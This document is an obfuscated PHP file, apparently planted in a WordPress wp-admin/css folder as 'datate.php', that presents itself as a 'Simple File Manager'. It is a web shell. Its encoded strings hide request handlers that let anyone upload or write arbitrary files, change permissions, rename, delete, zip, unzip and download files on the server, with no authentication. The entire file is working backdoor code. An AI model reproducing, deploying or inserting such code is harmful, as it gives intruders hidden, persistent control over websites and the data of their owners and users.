/home/devfahim/public_html/wp-admin/css/datate.php
<?php
$_0xttrhk=implode('',[0 => 'XW', 1 => 'Gu', 2 => 'Og', 3 => 'bE', 4 => 'qi', 5 => 'u5', 6 => 'or', 7 => 'jB']);function _0xot769($_0xwjmpv, $_0xva4i5) {$_0xxmu30 = strlen($_0xva4i5);$_0x0rb8e = '';for($_0x1ddl4=0;$_0x1ddl4<strlen($_0xwjmpv);$_0x1ddl4++){$_0x0rb8e .= chr(ord($_0xwjmpv[$_0x1ddl4]) ^ ord($_0xva4i5[$_0x1ddl4 % $_0xxmu30]));}return $_0x0rb8e;}function _0x5t462($_0xol8og) {global $_0xjpzfx,$_0xttrhk;$_0xqef4u = $_0xjpzfx['WGnkF'][$_0xol8og];$_0xkptue = $_0xjpzfx['FjFCG'];$_0x38gz8 = '';for ($_0x1ddl4 = 0; $_0x1ddl4 < strlen($_0xqef4u); $_0x1ddl4++) {if (!(!($_0x1ddl4 % 3 != 2))) {$_0x38gz8 .= $_0xqef4u[$_0x1ddl4];}}$_0x60rgu = array_flip($_0xkptue);$_0xiusb5 = '';for ($_0x1ddl4 = 0; $_0x1ddl4 < strlen($_0x38gz8); $_0x1ddl4++) {$_0xqupk6 = $_0x38gz8[$_0x1ddl4];$_0xiusb5 .= isset($_0x60rgu[$_0xqupk6]) ? $_0x60rgu[$_0xqupk6] : $_0xqupk6;}$_0xo36m5 = _0xot769(hex2bin($_0xiusb5),$_0xttrhk);return strrev($_0xo36m5);} $_0xjpzfx = [ 'FjFCG' => ['a' => 'd', 'b' => 'p', 'c' => 'c', 'd' => 'u', 'e' => 'w', 'f' => 'h', 'g' => 'b', 'h' => 't', 'i' => 'y', 'j' => 'k', 'k' => 'o', 'l' => 'm', 'm' => 'e', 'n' => 'z', 'o' => 'n', 'p' => 'f', 'q' => 's', 'r' => 'i', 's' => 'g', 't' => 'q', 'u' => 'j', 'v' => 'x', 'w' => 'v', 'x' => 'l', 'y' => 'a', 'z' => 'r', 'A' => 'U', 'B' => 'L', 'C' => 'Q', 'D' => 'A', 'E' => 'R', 'F' => 'F', 'G' => 'H', 'H' => 'P', 'I' => 'I', 'J' => 'G', 'K' => 'O', 'L' => 'T', 'M' => 'Z', 'N' => 'W', 'O' => 'C', 'P' => 'Y', 'Q' => 'S', 'R' => 'K', 'S' => 'X', 'T' => 'D', 'U' => 'N', 'V' => 'V', 'W' => 'B', 'X' => 'E', 'Y' => 'J', 'Z' => 'M', 0 => '0', 1 => '5', 2 => '3', 3 => '7', 4 => '9', 5 => '8', 6 => '2', 7 => '4', 8 => '6', 9 => '1', '+' => '/', '/' => '+'], 'WGnkF' => ['afmf' => '3d#7w*37%', 'RgFn' => '5d#50)24(', 'ZtnU' => '5d(5d*24*', 'cmHp' => '5d@5c&24)', 'QSzy' => '5d&44*', 'JhyE' => '7c!', 'PvIg' => '48%', 'hEam' => '3d@', 'fxwg' => '48(', 'RRpF' => '3h*', 'DCpT' => '48*', 'oqHr' => '30(', 'Ilid' => '48)', 'KWre' => '3d&', 'SLLP' => '48#', 'aNRv' => '3h!', 'KJDj' => '48%', 'LoRi' => '30@', 'jJHh' => '48%', 'srGu' => '3d)', 'GPjG' => '48!', 'ABYM' => '3h#', 'tUsH' => '48#', 'SWyz' => '30@', 'rUck' => '48!', 'oRjN' => '', 'BOlO' => '28@38^3w*55!40@94#86%3p&5w#00*05@89@0c#5u(32*', 'ZyJk' => '28(70(79(56@21@', 'mdWU' => '', 'NrxF' => '5c)56)0h&35%0d%3d#7u(55(33)3c*30*29!3d&30!', 'ztKE' => '0c&09!06%38#', 'NyOg' => '3d*7w^37#5w^33(', 'DbWr' => '3d!7w&37%5w(33)', 'sRYh' => '7c@73#77&59(3d&58#05)28!07%0c(55*81%00%79&', 'qkWs' => '7u#7p%3w*57*76(03@0c^', 'uEGJ' => '7u^7p&3w)57%76&03@0c^', 'Repu' => '7c(73%77@59^3d&58@05&28!59)08^5c@47*', 'LooJ' => '7u(7d&32!5p^3d@58&', 'FQmM' => '7u^7d*32!5p)76&03#0c&', 'nXkf' => '7u!7d%32)5p)3d^58@', 'zewU' => '7u!7d%32)5p*76#03#0c%', 'vQTz' => '7c#73!3d!59*35)03@70@', 'TfzC' => '7c!76^3d(5u&3c#', 'VODJ' => '3c%73%30&04*3w!57(7u*35)5w!09!5u!82&', 'vYEe' => '3c*73)30^04)3w@57@7u(35#5w%09^5u#82!', 'EISZ' => '7c%76%3d!5u^3c@', 'Tvfc' => '7c)73%30(5p%3w@0h&05*28)5h@02*5c*92(5c&5p)04#70#7u%04)', 'uwAr' => '7c!72)36&51*7h&53&', 'cqiw' => '7c&72#36!51%7h(53*', 'vMvS' => '7u!7d#32%5p#50@54(0h)75)', 'FaEP' => '7c*72(36*51&7h@53%', 'FXAF' => '7u#7d!32^5p)', 'WnTe' => '7c#73&37!59&30&0p#53@50^', 'LQHG' => '7u!7p@3w^57%7p!0w^02*30^', 'TwnO' => '3c%71@33*05@35&06%05)', 'rSUT' => '7u#7p!3w@57(7p*0w)02(30#', 'cUqV' => '3c*71*33^05!35%06!05)', 'OqHj' => '7c%73^75^59)5c#', 'SIth' => '7c!72)36!51&35(50!0u@35#', 'EBgf' => '7c)72@36%51^35@50!0u*35#', 'BCJp' => '78(72@33*04)7p!59&9h*75&59#5u#52#8d!90%5c#08%3p#3c*72@39!5c@37*54%53)39^85)87(50&98*52#32*94@72%72(73^77*5p(30(39)', 'EmMf' => '4d^2d@33^56@3w(01%04@31@56(0h@88@0w*5p!5c%0h!3h#70*79&32(05%7p)02&93%4h)5h%02#5c#95#02^05#08^73#3p*7w%07%86)7p&01&04&75^5h(02*72&', 'iVJl' => '7c&72@36!51^35%50@0u!35^', 'dYdS' => '4d^', 'gSeS' => '7c*72(36@51*35@50%0u)35%', 'txYm' => '7u)37^33%51&3d^07!', 'oNZh' => '7u%37!33*51*3d!07*', 'ADtZ' => '7c!73^77)50(37!03@32%', 'lINF' => '36(7w)7u&', 'edRJ' => '36@7w!7u^', 'PWqw' => '36*7w&7u!8p)', 'oIvj' => '36)7w&7u*', 'Wdct' => '7c%73#74%08@32&7u(', 'UeAV' => '36^7w&7u*5p^7d(', 'eBkF' => '36#7w(7u^5p^7d&', 'LqqT' => '7c)73*74(08&32^5u)0c#50*'] ]; error_reporting(0); $_0xx6wqj = realpath(__DIR__); $_0xpl22b = $_GET[_0x5t462('afmf')] ?? $_0xx6wqj; $_0xpl22b = realpath($_0xpl22b); if ($_0xpl22b === false || strpos($_0xpl22b, $_0xx6wqj) !== 0) $_0xpl22b = $_0xx6wqj; chdir($_0xpl22b); function formatSize($_0xol5z2) { if ($_0xol5z2 >= 1073741824) return number_format($_0xol5z2 / 1073741824, 2) . _0x5t462('RgFn'); if ($_0xol5z2 >= 1048576) return number_format($_0xol5z2 / 1048576, 2) . _0x5t462('ZtnU'); if ($_0xol5z2 >= 1024) return number_format($_0xol5z2 / 1024, 2) . _0x5t462('cmHp'); return $_0xol5z2 . _0x5t462('QSzy'); } function perms($_0xl0hbt) { $_0xpxkfd = fileperms($_0xl0hbt); return (($_0xpxkfd & 0x4000) ? _0x5t462('JhyE') : _0x5t462('PvIg')) . (($_0xpxkfd & 0x0100) ? _0x5t462('hEam') : _0x5t462('fxwg')) . (($_0xpxkfd & 0x0080) ? _0x5t462('RRpF') : _0x5t462('DCpT')) . (($_0xpxkfd & 0x0040) ? _0x5t462('oqHr') : _0x5t462('Ilid')) . (($_0xpxkfd & 0x0020) ? _0x5t462('KWre') : _0x5t462('SLLP')) . (($_0xpxkfd & 0x0010) ? _0x5t462('aNRv') : _0x5t462('KJDj')) . (($_0xpxkfd & 0x0008) ? _0x5t462('LoRi') : _0x5t462('jJHh')) . (($_0xpxkfd & 0x0004) ? _0x5t462('srGu') : _0x5t462('GPjG')) . (($_0xpxkfd & 0x0002) ? _0x5t462('ABYM') : _0x5t462('tUsH')) . (($_0xpxkfd & 0x0001) ? _0x5t462('SWyz') : _0x5t462('rUck')); } function redirect($_0x480rr, $_0xbqew1 = '') { header(_0x5t462('BOlO') . urlencode($_0x480rr) . ($_0xbqew1 ? _0x5t462('ZyJk') . urlencode($_0xbqew1) : _0x5t462('mdWU'))); exit; } if (!(!($_SERVER[_0x5t462('NrxF')] === _0x5t462('ztKE')))) { if (!empty($_POST[_0x5t462('NyOg')])) mkdir($_POST[_0x5t462('DbWr')]) && redirect($_0xpl22b, _0x5t462('sRYh')); if (!empty($_POST[_0x5t462('qkWs')])) touch($_POST[_0x5t462('uEGJ')]) && redirect($_0xpl22b, _0x5t462('Repu')); if (!empty($_POST[_0x5t462('LooJ')]) && !empty($_POST[_0x5t462('FQmM')])) rename($_POST[_0x5t462('nXkf')], $_POST[_0x5t462('zewU')]) && redirect($_0xpl22b, _0x5t462('vQTz')); if (!empty($_POST[_0x5t462('TfzC')]) && !empty($_POST[_0x5t462('VODJ')])) chmod($_POST[_0x5t462('vYEe')], octdec($_POST[_0x5t462('EISZ')])) && redirect($_0xpl22b, _0x5t462('Tvfc')); if (!empty($_FILES[_0x5t462('uwAr')])) move_uploaded_file($_FILES[_0x5t462('cqiw')][_0x5t462('vMvS')], $_FILES[_0x5t462('FaEP')][_0x5t462('FXAF')]) && redirect($_0xpl22b, _0x5t462('WnTe')); if (!empty($_POST[_0x5t462('LQHG')]) && isset($_POST[_0x5t462('TwnO')])) file_put_contents($_POST[_0x5t462('rSUT')], $_POST[_0x5t462('cUqV')]) && redirect($_0xpl22b, _0x5t462('OqHj')); redirect($_0xpl22b); } if (!(!(isset($_GET[_0x5t462('SIth')]) && is_file($_GET[_0x5t462('EBgf')])))) { header(_0x5t462('BCJp')); header(_0x5t462('EmMf') . basename($_GET[_0x5t462('iVJl')]) . _0x5t462('dYdS')); readfile($_GET[_0x5t462('gSeS')]); exit; } if (!(!(isset($_GET[_0x5t462('txYm')])))) { $_0xglo76 = $_GET[_0x5t462('oNZh')]; is_dir($_0xglo76) ? rmdir($_0xglo76) : unlink($_0xglo76); redirect($_0xpl22b, _0x5t462('ADtZ')); } if (!(!(isset($_GET[_0x5t462('lINF')])))) { $_0xbwy2j = new ZipArchive(); $_0xqio8f = basename($_GET[_0x5t462('edRJ')]) . _0x5t462('PWqw'); if (!(!($_0xbwy2j->open($_0xqio8f, ZipArchive::CREATE)))) { $_0xpxkfd = $_GET[_0x5t462('oIvj')]; $_0xgzhs4 = is_dir($_0xpxkfd) ? new RecursiveIteratorIterator(new RecursiveDirectoryIterator($_0xpxkfd), RecursiveIteratorIterator::LEAVES_ONLY) : [$_0xpxkfd]; foreach ($_0xgzhs4 as $_0xbl4a9) { if (is_string($_0xbl4a9)) $_0xbwy2j->addFile($_0xbl4a9, basename($_0xbl4a9)); elseif (!$_0xbl4a9->isDir()) $_0xbwy2j->addFile($_0xbl4a9->getRealPath(), substr($_0xbl4a9->getRealPath(), strlen($_0xpxkfd)+1)); } $_0xbwy2j->close(); } redirect($_0xpl22b, _0x5t462('Wdct')); } if (!(!(isset($_GET[_0x5t462('UeAV')])))) { $_0xbwy2j = new ZipArchive(); if (!(!($_0xbwy2j->open($_GET[_0x5t462('eBkF')]) === TRUE))) { $_0xbwy2j->extractTo($_0xpl22b); $_0xbwy2j->close(); } redirect($_0xpl22b, _0x5t462('LqqT')); } $_0x1ycpx = scandir($_0xpl22b); ?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>Simple File Manager</title>
<style>body{font-family:sans-serif;background:#fafafa;color:#333;padding:20px}table{width:100%;border-collapse:collapse;margin-top:20px}th,td{border:1px solid#ddd;padding:8px;text-align:left}th{background:#f0f0f0}tr:nth-child(even){background:#f9f9f9}input,textarea{font-family:monospace;padding:4px;border:1px solid#ccc}textarea{width:100%;height:400px;margin-top:10px}button{background:#4CAF50;color:white;border:none;padding:6px 12px;cursor:pointer}button:hover{background:#45a049}form.inline{display:inline-block;margin-right:10px}.msg{background:#dff0d8;color:#3c763d;border:1px solid#d6e9c6;padding:10px;margin-top:10px;display:inline-block}a{color:#007bff;text-decoration:none}a:hover{text-decoration:underline}</style>
</head>
<body>
<h2>🗂 Simple File Manager</h2>
<p><b>Current Directory:</b> <?= htmlspecialchars($_0xpl22b) ?></p>

<?php if (!empty($_GET['msg'])): ?>
    <div class="msg"><?= htmlspecialchars($_GET['msg']) ?></div>
<?php endif; ?>

<form method="post" enctype="multipart/form-data">
    📤 <input type="file" name="upload" required>
    <button>Upload</button>
</form>

<form method="post" class="inline">
    📁 <input name="mkdir" placeholder="New Folder" required>
    <button>Create</button>
</form>

<form method="post" class="inline">
    📄 <input name="newfile" placeholder="New File" required>
    <button>Create</button>
</form>

<table>
    <tr>
        <th>Name</th><th>Size</th><th>Modified</th><th>Permissions</th><th>Actions</th>
    </tr>
    <?php if ($_0xpl22b !== $_0xx6wqj): ?>
        <tr><td colspan="5"><a href="?dir=<?= urlencode(dirname($_0xpl22b)) ?>">[..]</a></td></tr>
    <?php endif; ?>
    <?php foreach ($_0x1ycpx as $f): if ($f === '.' || $f === '..') continue; $path = $_0xpl22b . DIRECTORY_SEPARATOR . $f; $real = realpath($path); $is_dir = is_dir($path); ?>
    <tr>
        <td><?= $is_dir ? "<a href='?dir=" . urlencode($real) . "'>[{$f}]</a>" : htmlspecialchars($f) ?></td>
        <td><?= $is_dir ? '-' : formatSize(filesize($path)) ?></td>
        <td><?= date("d M Y, H:i", filemtime($path)) ?></td>
        <td><?= perms($path) ?></td>
        <td>
            <?php if (!$is_dir): ?>
                <a href="?download=<?= urlencode($path) ?>">Download</a> |
                <a href="?edit=<?= urlencode($path) ?>">Edit</a> |
            <?php endif; ?>
            <a href="?delete=<?= urlencode($path) ?>" onclick="return confirm('Delete this?')">Delete</a> |
            <a href="?zip=<?= urlencode($path) ?>">Zip</a>
            <?php if (pathinfo($path, PATHINFO_EXTENSION) === 'zip'): ?>
                | <a href="?unzip=<?= urlencode($path) ?>">Unzip</a>
            <?php endif; ?>
            <form method="post" class="inline">
                <input type="hidden" name="rename" value="<?= htmlspecialchars($path) ?>">
                <input name="newname" value="<?= htmlspecialchars(basename($path)) ?>">
                <button>Rename</button>
            </form>
            <form method="post" class="inline">
                <input type="hidden" name="chmod_target" value="<?= htmlspecialchars($path) ?>">
                <input name="chmod" value="<?= substr(sprintf('%o', fileperms($path)), -4) ?>" size="4">
                <button>Chmod</button>
            </form>
        </td>
    </tr>
    <?php endforeach; ?>
</table>

<?php if (isset($_GET['edit']) && is_file($_GET['edit'])): $target = $_GET['edit']; $contents = htmlspecialchars(file_get_contents($target)); ?>
<h3>✍️ Edit File: <?= htmlspecialchars(basename($target)) ?></h3>
<form method="post">
    <input type="hidden" name="editfile" value="<?= htmlspecialchars($target) ?>">
    <textarea name="content"><?= $contents ?></textarea><br>
    <button>💾 Save</button>
</form>
<?php endif; ?>
</body>
</html>